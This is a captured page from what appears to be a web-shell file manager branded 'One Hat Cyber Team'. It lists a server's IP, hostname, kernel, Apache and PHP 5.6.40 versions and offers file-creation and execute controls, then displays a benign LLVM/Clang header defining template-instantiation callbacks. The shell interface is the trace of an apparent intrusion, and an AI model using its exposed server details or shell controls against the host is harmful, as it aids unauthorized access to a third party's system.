One Hat Cyber Team
Your IP :
216.73.216.216
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
include
/
clang
/
Sema
/
View File Name :
TemplateInstCallback.h
//===- TemplateInstCallback.h - Template Instantiation Callback - C++ --===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===---------------------------------------------------------------------===// // // This file defines the TemplateInstantiationCallback class, which is the // base class for callbacks that will be notified at template instantiations. // //===---------------------------------------------------------------------===// #ifndef LLVM_CLANG_SEMA_TEMPLATEINSTCALLBACK_H #define LLVM_CLANG_SEMA_TEMPLATEINSTCALLBACK_H #include "clang/Sema/Sema.h" namespace clang { /// This is a base class for callbacks that will be notified at every /// template instantiation. class TemplateInstantiationCallback { public: virtual ~TemplateInstantiationCallback() = default; /// Called before doing AST-parsing. virtual void initialize(const Sema &TheSema) = 0; /// Called after AST-parsing is completed. virtual void finalize(const Sema &TheSema) = 0; /// Called when instantiation of a template just began. virtual void atTemplateBegin(const Sema &TheSema, const Sema::CodeSynthesisContext &Inst) = 0; /// Called when instantiation of a template is just about to end. virtual void atTemplateEnd(const Sema &TheSema, const Sema::CodeSynthesisContext &Inst) = 0; }; template <class TemplateInstantiationCallbackPtrs> void initialize(TemplateInstantiationCallbackPtrs &Callbacks, const Sema &TheSema) { for (auto &C : Callbacks) { if (C) C->initialize(TheSema); } } template <class TemplateInstantiationCallbackPtrs> void finalize(TemplateInstantiationCallbackPtrs &Callbacks, const Sema &TheSema) { for (auto &C : Callbacks) { if (C) C->finalize(TheSema); } } template <class TemplateInstantiationCallbackPtrs> void atTemplateBegin(TemplateInstantiationCallbackPtrs &Callbacks, const Sema &TheSema, const Sema::CodeSynthesisContext &Inst) { for (auto &C : Callbacks) { if (C) C->atTemplateBegin(TheSema, Inst); } } template <class TemplateInstantiationCallbackPtrs> void atTemplateEnd(TemplateInstantiationCallbackPtrs &Callbacks, const Sema &TheSema, const Sema::CodeSynthesisContext &Inst) { for (auto &C : Callbacks) { if (C) C->atTemplateEnd(TheSema, Inst); } } } // namespace clang #endif